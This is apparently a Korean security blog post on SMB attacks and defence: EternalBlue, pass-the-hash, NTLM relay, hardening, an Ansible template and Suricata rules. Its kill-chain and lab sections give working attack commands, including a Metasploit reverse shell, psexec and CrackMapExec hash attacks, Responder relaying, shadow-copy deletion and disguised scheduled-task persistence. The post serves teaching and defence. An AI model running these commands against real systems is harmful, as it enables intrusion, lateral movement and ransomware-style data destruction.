CVE-2017-7494 SambaCry (Linux Samba RCE) — 리눅스 Samba 데몬이 악성 업로드된 윈도우 .dll 형태의 공유 객체(.so) 파일 경로를 무분별하게 로딩 파싱하여 실행해 버리는 로직 버그임 7.5 (High) 윈도우를 노린 SMB 취약점이 리눅스 NAS/스토리지까지 퍼져 IoT 및 온프레미스 스토리지 데이터 가용성을 박살 냄 쓰기 가능한 공유 폴더 설정에 nt pipe support = no 파라미터를 추가 주입하고 Samba 버전을 최신 패치함
CWE-288 Authentication Bypass (NTLM Relay) — 해커가 네트워크에 가짜 인증 서버를 열고, 정상 클라이언트의 NTLM 챌린지/리스폰스 해시를 가로채 다른 고권한 SMB 서버에 릴레이 포워딩하여 신분을 복제 도용함 공격자는 패스워드나 해시를 직접 풀지 않아도, 다른 관리자 계정의 세션 지갑을 훔쳐 도메인 컨트롤러(DC) 인프라 통제권을 탈취함 모든 인프라 도메인 그룹 정책(GPO)에서 SMB Signing = Required(강제)로 인포싱하여 패킷 서명 위조를 원천 봉쇄함
CWE-284 Improper Access Control (IPC$ Null Session) — 관리 편의성을 위해 레거시 OS에서 139/445 포트의 Null 세션을 허용하여 내부 사용자, 그룹(SID), OS 버전을 묻지도 따지지도 않고 평문 덤프해주는 미스컨피규레이션임 공격자가 사내망 도메인 구조 및 관리자 계정 ID 명단을 아무런 알람 없이 수 분 만에 확보하여 스피어 피싱 및 스터핑 딕셔너리의 기초 맵을 그림 RestrictAnonymous 레지스트리 값을 2로 설정하여 인증된 계정만이 IPC 네임드 파이프에 트랜잭션을 날리도록 격리함

Vulnerability Deep Dive #1: MS17-010 EternalBlue (SMBv1 RCE)

  • 연관 식별자: CVE-2017-0144 / MITRE T1210
  • 영향 버전: Windows XP, 7, 8.1, Server 2003, 2008, 2012 R2 중 2017년 3월 이전 미패치 빌드.
  • CVSS Vector: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
  • 발생 원인 (Root Cause): SMBv1 스택 내 SrvOs2FeaListSizeToNt 커널 함수가 FEA(Extended Attributes) 페이로드 바이트 크기를 DWORD 형식으로 형 변환(Casting)할 때 산술 오버플로우 오류가 발생함. 공격자는 교묘하게 조작된 비정상 SMB 패킷(Grooming)을 보내 커널 메모리 풀 레이아웃을 정렬한 뒤, 악성 쉘코드를 할당된 힙 영역을 뚫고 덮어씌움.
  • 공격 성립 조건: 외부 방화벽 혹은 망분리 내부망 라우팅에서 TCP 445 포트가 공격자에게 노출되어 있고, 대상 서버가 SMBv1을 서비스 중이어야 성립됨.
  • 파급력 (Impact): 어떤 계정이나 패스워드도 필요 없이 네트워크 접속 단 한 번으로 Windows SYSTEM 권한 커널 쉘이 공격자 터미널에 반환됨. WannaCry(워너크라이) 및 NotPetya 등 랜섬웨어가 이 취약점 하나만으로 전 세계 백엔드 인프라 수백만 대를 단 이틀 만에 초토화시킴.

Vulnerability Deep Dive #2: Pass-the-Hash (PtH) 기반 Lateral Movement

  • 연관 식별자: MITRE T1550.002 (Pass the Hash)
  • 발생 원인 (Root Cause): Windows NTLM 인증 프로토콜은 평문 패스워드가 아닌 해시값 자체를 검증 재료로 사용하도록 설계됨. 이로 인해 메모리(LSASS)나 로컬 SAM 데이터베이스에서 공격자가 계정의 NT 해시값을 추출해 내면, 원본 패스워드를 몰라도 해시를 암호 키로 속여 다른 SMB 서버 시스템에 정상 인증 통과가 가능한 아키텍처적 결함임.
  • 공격 성립 조건: 공격자가 초기 침투(Phishing 등)를 통해 단 1대의 PC에서 로컬 관리자 권한을 획득하고 Mimikatz 도구 등으로 해시 덤프에 성공해야 성립됨.
  • 파급력 (Impact): 동일한 로컬 관리자 비밀번호가 전사망(수천 대) PC에 똑같이 세팅되어 있다면(Local Admin Password 재사용 이슈), 탈취한 해시 한 줄(One-Liner)로 엔터프라이즈 망분리 인프라 전체가 10분 내에 장악당하는 도미노 침투(Lateral Movement) 대재앙이 발생함.

7-2. 킬체인 전개 스텝 분석

  • 난이도: 초급/중급 (Metasploit 프레임워크 및 Impacket 스위트 활용 능력 요구)
  • 전제: 타겟 온프레미스 랩(10.0.0.100) 환경이 사내망 AD 통제하에 있으며, 공격자는 내부 직원의 모의 감염 PC(10.0.0.50)에서 횡단 거점을 확보한 상태임.
  • 탐지 가능성: Medium (PtH 공격은 정상 인증 프로세스인 NTLM V2 패키지를 그대로 에뮬레이트하므로, L7 시그니처 룰셋 및 Anomaly(동시 다발적 접속) 기반 중앙 SIEM 관제망이 없으면 탐지 생존이 불가능함).
Phase 1 — 인프라 횡단망 정찰 및 배너 그래빙 (Reconnaissance)

📖 Phase 1에서 배우는 것: 무작위 서브넷 핑(Ping) 대신, CrackMapExec을 활용하여 전사 인프라에 어떤 Windows 버전이 살아있고 SMB 서명(Signing) 여부가 해제된 타겟이 있는지 단 한 줄의 명령어로 입체적 스캐닝 맵을 그림.

# 1. 10.0.0.0/24 서브넷 전체를 대상으로 SMB 배너 및 Signing 강제 활성화 여부를 병렬 스캐닝함
crackmapexec smb 10.0.0.0/24

# 2. 결과 분석: 콘솔 출력 창에 [SMBv1: True], [Signing: False] 등 공격 가능한 황금 표적이 직관적 색상으로 출력됨
Phase 2-A — 취약점 타격 1: MS17-010 EternalBlue RCE (레거시 장악)

📖 Phase 2-A에서 배우는 것: 발견된 레거시 서버를 타격하기 위해 Metasploit 스캐너 모듈을 장전하고 인증 없는 완전한 커널 쉘코드를 사출하여 시스템 통제권을 찬탈함.

# 1. Metasploit 프레임워크 구동 후 이터널블루 익스플로잇 모듈 로드
msfconsole -q
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 > set RHOSTS 10.0.0.100

# 2. 리버스 쉘 페이로드 지정 후 공격 사출 (1분 내 SYSTEM 미터프리터 쉘 반환)
msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 > exploit
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
Phase 2-B — 취약점 타격 2: NTLM Pass-the-Hash를 통한 자산 연쇄 이동

📖 Phase 2-B에서 배우는 것: 현대 인프라(패치 완료) 환경에서 시스템 메모리를 덤프해 얻은 관리자 NTLM 해시를 무기화하여 SMB 445 포트에 재인증 패킷을 꽂아 넣는 과정을 확립함.

# 1. 침투한 PC 메모리(LSASS)에서 Mimikatz 등을 통해 덤프한 관리자 계정 해시 문자열을 준비함
# Hash Format: [LM Hash]:[NT Hash] (예: aad3b...:88e4d...)

# 2. 파이썬 기반 Impacket 도구를 사용해 원격 타겟의 ADMIN$ 폴더를 마운트하고 쉘 권한을 받아냄
psexec.py CORP/Administrator@10.0.0.100 -hashes aad3b435b51404eeaad3b435b51404ee:88e4d9faba6980a1ddc51...
C:\Windows\system32> whoami
nt authority\system
Phase 3 — 포스트 익스플로잇 및 랜섬웨어 랜딩 (Post-Exploitation)

📖 Phase 3에서 배우는 것: 획득한 System 쉘을 바탕으로 C$ 공유 드라이브 구조를 순회 탐색하고, 웜바이러스나 코발트 스트라이크 비컨(Beacon)을 레지스트리 시작프로그램에 심어 생존성을 유지함.

# 1. 획득한 쉘에서 VSS(볼륨 섀도 복사본) 백업 파일 스토리지 스냅샷을 영구 파괴하여 복구를 원천 차단함 (랜섬웨어 TTP)
vssadmin.exe Delete Shadows /All /Quiet

# 2. 타겟 드라이브(C$) 특정 경로에 난독화된 악성 윈도우 스크립트(.ps1)를 드롭하고 예약 작업(Task)에 등록 은닉함
schtasks /create /tn "Microsoft\Windows\SystemData\Sync" /tr "powershell.exe -ExecutionPolicy Bypass -File C:\ProgramData\payload.ps1" /sc onstart /ru SYSTEM

8. ⚔️ 실전 심화 시나리오 — 학습용 실습 (Lab Scenarios)

📘 Scenario A: LAPS 우회 및 CrackMapExec을 통한 사내망 도미노 장악

  • 학습 목표: Windows 환경 고질병인 '로컬 관리자 비밀번호 재사용' 맹점을 파고들어, 크랙마이그제크(CME) 단 한 줄 명령어로 망분리 내 수백 대 자산의 CMD 명령 제어권을 횡단 통일하는 도미노(Domino) 킬체인을 완성함.
  • 전제 조건: 사내망 AD(Active Directory) LAPS(Local Administrator Password Solution) 정책이 미비하여 10.0.0.0/24 대역 전체의 내장 Administrator 패스워드 값이 동일하게 복제 배포된 구성(Configuration) 상태임.
# [Step 1: 해커는 피싱 등을 통해 우연히 1대의 10.0.0.10 PC를 장악하고 메모리에서 NTLM 해시 1개를 확보함]
# [Step 2: 탈취한 단일 해시를 CME 파라미터로 밀어 넣고, 서브넷 전체 대상 병렬 WMI/SMB 커맨드(ipconfig) 사출을 시도함]
crackmapexec smb 10.0.0.0/24 -u Administrator -H 32ed87b0... --local-auth -x "ipconfig /all"

# [Step 3: 동작 원리 및 결과 검증]
# CME는 파이썬 멀티스레딩 코어를 사용해 255대의 PC 445번 포트에 동시다발적으로 패스-더-해시 인증 세션을 꽂음.
# 패스워드가 동일한 수십 대의 PC에서 'Pwn3d!' 빨간색 메시지가 콘솔에 쏟아지며 해당 기기들의 랜카드 정보가 텍스트로 폭우처럼 덤프됨.
# [결과 분석 및 방어 인사이트 도출]
# 단 1명의 직원 PC 감염이 전사망 100% 랜섬웨어 감염으로 이어지는 치명적 설계 결함을 증명함.
# → 방어책: 마이크로소프트 LAPS 시스템을 즉각 인프라 GPO로 도입하여 기기마다 고유하고 복잡한 일회성 로컬 관리자 비밀번호를 매일 갱신 회전(Rotation) 시키도록 아키텍처를 방어 개조해야 함.

📘 Scenario B: NTLM Relay 공격을 활용한 관리자 권한 무단 하이재킹

  • 학습 목표: 패스워드나 해시 추출이 원천 불가능한 완전 패치 인프라 환경에서, SMB 서명(Signing) 하드닝 누락을 틈타 정상 네트워크 인증 패킷을 가로채고 목적지를 꺾어(Relay) 도메인 컨트롤러 접속 토큰을 찬탈함.
# [Step 1: Responder 도구를 켜서 네트워크상에 돌아다니는 길 잃은 LLMNR 브로드캐스트 인증 요청을 유도하여 낚아챔(Poisoning)]
sudo responder -I eth0 -dwv

# [Step 2: 임패킷 ntlmrelayx.py 모듈을 대기시켜, 수집된 챌린지 덩어리를 10.0.0.100 타겟 서버의 445 포트로 그대로 토스(Forwarding)함]
ntlmrelayx.py -tf target_servers.txt -smb2support

# [Step 3: 방어 회피 및 쉘 통과 결과 확인]
# 타겟 서버 10.0.0.100 입장에서는 "정당한 도메인 관리자가 로그인 요청을 보냈다"고 착각하게 되며(인증 해시 구조가 무결하므로), 해커에게 즉시 로컬 SYSTEM 수준의 프롬프트 쉘이 양도됨.

9. 🩹 트러블슈팅 및 장애 대응 실무 (RCA)

에러 로그 증상 (Symptom) 장애 발생 원인 분석 (Root Cause) 실무 해결책 및 조치 방안 (Resolution)
tree connect failed: NT_STATUS_ACCESS_DENIED 클라이언트 인증(Session Setup)은 성공했으나, 요청한 폴더 공유 권한 탭이나 디스크의 상위 NTFS 보안 탭에서 계정 그룹이 명시적으로 거부 또는 조회 권한 없음 상태로 충돌됨. 윈도우 서버 공유 속성고급 공유 권한과 로컬 보안 탭의 ACL 설정을 교차 확인하여 둘 중 더 좁은 범위의 최소 권한 규칙이 원인인지 분석함.
protocol negotiation failed: NT_STATUS_INVALID_NETWORK_RESPONSE 최신 Windows 10/11 또는 Linux 커널 클라이언트가 아주 오래된 구형 스토리지(NAS/복합기)에 접속 시 서버가 제공하는 취약한 SMBv1 버전을 OS 차원에서 강제로 거부하고 세션을 찢어버림. 취약한 장비의 펌웨어를 업그레이드하여 SMBv2/v3 지원을 뚫거나, 레거시 장비를 아예 폐기하는 망분리 마이그레이션을 강제 시행함.
NT_STATUS_ACCOUNT_LOCKED_OUT Nmap이나 Hydra 등 침해 스캐너 도구가 1분 내에 수백 번 딕셔너리 패스워드를 던지면서, AD 도메인의 Account Lockout 임계치(Threshold) 정책이 가동되어 계정 트랜잭션이 물리적으로 동결 자물쇠 채워짐. 도메인 컨트롤러(DC)의 Event ID 4740 로그에서 Caller Computer Name IP를 추적하여 공격 진원지 방화벽을 Drop시키고 관리자 잠금을 해제함.
NT_STATUS_DUPLICATE_NAME SMB 137 UDP(NetBIOS) 통신 환경에서 동일 로컬 L2 스위치 네트워크 내에 호스트 네임(PC 이름)이 완전히 동일한 컴퓨터가 두 대 이상 켜져 있어 브로드캐스트 패킷 이름 분쟁(Conflict)이 일어남. nbtstat -n 명령으로 윈도우 명명 상태를 파악하고 시스템 속성에서 인프라 표준화 Naming Convention 룰셋에 맞게 즉시 고유 호스트명으로 리네이밍(Renaming)함.

10. 🛡️ 방어 아키텍처 및 위협 헌팅 엔지니어링 실무 (Blue Team Focus)

10-1. MITRE D3FEND 프레임워크 매핑

방어 전술 (Tactic) 방어 기법 세부 항목 (Technique) 차단 원리 및 보안 메커니즘 상세 설명 ID (Code)
Harden Local File Permissions 디렉터리 트리 ACL과 사용자/그룹 SID 맵핑을 하드닝하여, 인가되지 않은 타 부서 사용자의 비인가된 읽기/쓰기를 커널 NTFS 레벨에서 원천 블락함 D3-LFP
Isolate Network Traffic Filtering OPNsense 게이트웨이 및 내부 Vlan ACL에서 워크스테이션(PC) 간의 가로 통신 트래픽(TCP 445 포트)을 전면 절단(Zero Trust) 격리함 D3-NTF
Detect Protocol Analysis Suricata NIDS를 활용해 L7 SMB 패킷 내에서 IPC$admin$ 등의 민감 경로 문자열이 지나가는지 시그니처 딥 인스펙션(DPI) 실시간 헌팅함 D3-PA

10-2. 온프레미스 인프라 하드닝 및 시큐어 코딩 기준

  • 인프라 라우팅 및 암호화 레이어 (L3/L4/L7):
    1. 프로토콜 마이그레이션: 레거시 취약점의 영원한 온상인 SMBv1을 전사망 모든 Windows 및 Samba 데몬에서 HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters 레지스트리 등을 조작하여 완전히 롤백 불가능하게 강제 제거함.
    2. 무결성 서명 및 암호화 강제: GPO를 통해 클라이언트와 서버 양측 모두 통신 간 SMB Signing 요구 사항을 Require(강제)로 튜닝하여 NTLM 릴레이를 무력화하고, 윈도우 10 이상 환경에서는 SMBv3.0 AES L7 종단 간 암호화를 켜 네트워크 스니핑 시야를 맹인 상태로 블라인드함.
  • 권한 통제 및 샌드박스 레이어 (L7):
    1. 익명 계정 셧다운: IPC$ 널 세션을 통한 도메인 정보 털기를 방어하기 위해 RestrictAnonymous 값을 2로 상향하여 인증되지 않은 객체의 SAM/파이프 열거 스크래핑을 차단함.
    2. 망분리 제로 트러스트(Zero Trust): Client-to-Client 445 포트 가로 이동을 허브단 포트 보안이나 윈도우 고급 방화벽 정책으로 인포싱 차단하여, 랜섬웨어가 1대 감염 후 다른 PC로 건너가는 다리(Bridge) 폭파를 수행함.

10-3. IaC 기반 자동화 보안 설정 마스터 템플릿

# Ansible Playbook 구축 예시: Windows 인프라 대상 SMBv1 비활성화 및 Signing 강제 하드닝 태스크 모듈임
- name: Secure SMB configuration on Windows AD environment
  win_regedit:
    path: HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters
    name: SMB1
    data: 0
    type: dword
    state: present

- name: Enforce SMB Signing to Prevent Relay Attacks
  win_regedit:
    path: HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters
    name: RequireSecuritySignature
    data: 1
    type: dword
  notify: Restart Server service

10-4. 침해 인시던트 대응 절차 (IR Playbook)

대응 단계 실무 대응 행동 강령 인프라 담당 역할 헌팅 소요 시간
1. 탐지 Graylog SIEM에 4624(네트워크 로그인) 이벤트를 동반한 랜섬웨어 의심 암호화 징후(확장자 변경 폭주) 및 Suricata MS17-010 알람이 최초 인입됨을 인지함 SOC Analyst T+0
2. 격리 즉시 사내 코어망 L3 스위치 및 OPNsense 룰을 내려 서브넷 간의 Vlan 간 라우팅(TCP 139/445) 횡단 트래픽을 아웃바운드/인바운드 전면 Drop 하드 차단 격리함 IR Team T+5분
3. 증거 수집 감염 의심 호스트에 대한 메모리 풀 덤프를 뜨고 Sysmon Event ID 3(네트워크 접속 대상 IP 추적) 원본을 해싱하여 랜섬웨어 C2 및 횡적 거점 지도를 포렌식 보존함 Forensic Analyst T+30분
4. 원인 분석 공격자가 최초에 익명 스크래핑으로 들어왔는지, 백도어 트리거 RCE인지, 관리자 패스-더-해시를 썼는지 인프라 트랜잭션 킬체인을 정밀 리버싱 역추적함 IR Team T+2시간
5. 인프라 복구 오염 및 암호화된 볼륨을 SAN 오프라인 백업(VSS 아님) 이미지로 복원 패치하고 전사 관리자 로컬 패스워드 로테이션(LAPS 리셋) 후 SMBv3 암호화 환경으로 재생성 가동함 SysAdmin T+4시간

10-5. 엔터프라이즈 위협 헌팅 탐지 룰셋 (Suricata NIDS)

# 외부망 혹은 비인가 서브넷에서 유입되는 EternalBlue (MS17-010) IPC 트리거 페이로드 스니핑 차단 룰셋임
alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"ET EXPLOIT Possible ETERNALBLUE MS17-010 Echo Response"; flow:from_server,established; content:"|00 00 00 31 ff|"; content:"|53 4d 42|"; distance:0; content:"|2b 00|"; distance:0; pcre:"/^[a-zA-Z0-9]{4,}/R"; classtype:trojan-activity; sid:2024218; rev:2;)

# 횡적 이동 시도(Psexec/WMI)를 위한 관리자 볼륨 ADMIN$ 및 IPC$ 비정상 마운트 행위 포착 룰셋임
alert tcp $HOME_NET any -> $HOME_NET 445 (msg:"ET POLICY SMB Lateral Movement - Suspicious IPC$ or ADMIN$ Share Access Attempt"; flow:established,to_server; content:"|5c 00|I|00|P|00|C|00|$|00|"; nocase; threshold:type limit, track by_src, count 5, seconds 60; classtype:attempted-recon; sid:2000011; rev:1;)

11. 🔗 글로벌 공식 레퍼런스 데이터베이스 (References)

  • Microsoft 공식 SMB 아키텍처 및 커널 통신 프로토콜 코어 명세서 (MS-SMB2): https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2
  • Samba 오픈소스 공식 릴리즈 레퍼런스 및 하드닝 매뉴얼: https://www.samba.org/samba/docs/
  • NVD (National Vulnerability Database) EternalBlue 백도어 공식 취약점 분석 문서: https://nvd.nist.gov/vuln/detail/CVE-2017-0144
  • MITRE ATT&CK 횡적 이동 (Lateral Movement) 및 SMB 통신 심층 전술 분석: https://attack.mitre.org/techniques/T1021/002/
  • CISA 국가 주요 보안 랜섬웨어 대비 SMB 하드닝 및 포트 통제 가이드라인: https://www.cisa.gov/
  • OWASP 공식 방어 가이드 및 NTLM 인증 구조 보호 컴플라이언스: https://owasp.org/

12. 🏁 결론 및 비즈니스 임팩트 (Wrap-up)

🎓 이 포스팅에서 배운 보안 엔지니어링 관점

  • 공격 관점의 통찰: 랜섬웨어가 전 세계를 초토화시킨 근본 원인은 웹 해킹이 아닌, 인프라 내부에 열려있던 445 포트(SMB)의 무분별한 횡적 연결망이었음. EternalBlue 커널 익스플로잇이나 NTLM PtH(패스-더-해시) 기법은, 공격자가 백도어 딜리버리나 복잡한 복호화 없이 단 한 번의 해시 주입만으로 도메인 컨트롤러(DC)의 심장부를 꿰뚫게 하는 가장 치명적인 인프라 함락 벡터임을 철저히 검증함.
  • 방어 관점의 통찰: "편리한 파일/프린터 공유"라는 명목하에 보안 팀의 통제 없이 방치된 SMB 통신 채널은 기업 가용성 붕괴의 도화선임. SMBv1 셧다운, IPC$ 익명 로깅 제한, 그리고 패킷 무결성(Signing/Encryption) 설정을 L7 수준에서 완전히 강제 캡슐화해야 한다는 아키텍처 재설계의 당위성을 완벽히 체득함.
  • 다음 단계의 실무 과제: 허가된 로컬 가상 온프레미스(VMware/Proxmox) 랩 환경에 취약한 타겟 서버(AD 환경)와 OPNsense 망분리 방화벽을 격리 구역(DMZ)으로 재구성하고, CrackMapExec을 통한 PtH 병렬 횡단 스캐닝 공방 테스트와 Graylog SIEM 4624 로그 코릴레이션 헌팅 파이프라인을 직접 연동 구축하며 인프라 방어 감각을 극한으로 숙달함.

🔰 인프라 엔지니어링 방어 철학

(✏️ Architected by Elpam.k)
"하드웨어 방화벽이 외부 공격을 99% 막아낸다 하더라도, 뚫려버린 1대의 내부 PC에서 뿜어져 나오는 445 포트 악성 트래픽은 수십억의 보안 투자를 단 10분 만에 랜섬웨어 암호화로 휴지조각 만듦." 네트워크 설계 시 단순히 방화벽 인바운드 포트를 닫는 L4 중심의 사고에서 벗어나, 페이로드 내부의 커널 RPC 호출과 NTLM 권한 맵핑이 어떻게 유지되는지 L7 깊이(DPI)까지 꿰뚫어보는 제로 트러스트(Zero Trust) 횡적 이동 차단 시야가 엔지니어의 핵심 덕목임. 따라서 모든 통신 트래픽의 무결성 디지털 서명을 원천 강제하며, 익명성(IPC$) 열거 스크래핑을 극도로 혐오하는 최소 권한 기반 Active Directory 통제 아키텍처를 사내망에 강제 인포싱해야 함. 더불어 인증 실패 로직(Event 4625)과 네임드 파이프 마운트 행위를 Elastic Stack 또는 Graylog 등 SIEM으로 중앙화하여 이상 징후를 실시간 감찰하는 '종심 방어(Defense in Depth)' 전략이 온프레미스 네트워크 라우팅 기저에 가장 보수적으로 설계되어야 함.


💡 Related Posts

  • 👉 [OPNsense 방화벽 기반 온프레미스 망분리 L7 포트 횡적 이동 차단 최적화 가이드]
  • 👉 [Suricata NIDS 연동을 통한 EternalBlue 및 랜섬웨어 C2 이상 탐지 실무]
  • 👉 [Windows Active Directory 환경의 LAPS 구축 및 NTLM 인증 아키텍처 보안 분석]

오류·추가 질문은 댓글로 남겨 주시면 확인함.


🔖 Tistory Tags: #SMB #Samba #인프라보안 #모의해킹 #랜섬웨어 #망분리 #DFIR #OPNsense

Architected by Elpam.k

'인프라 > 네트워크' 카테고리의 다른 글

SSH(Secure Shell)  (0) 2026.04.07
RDP (xfreerdp)  (0) 2026.04.07
FTP  (0) 2026.04.07
nslookup (DNS 질의)  (0) 2026.04.07
ICMP 및 Ping  (0) 2026.04.07

Discussion 0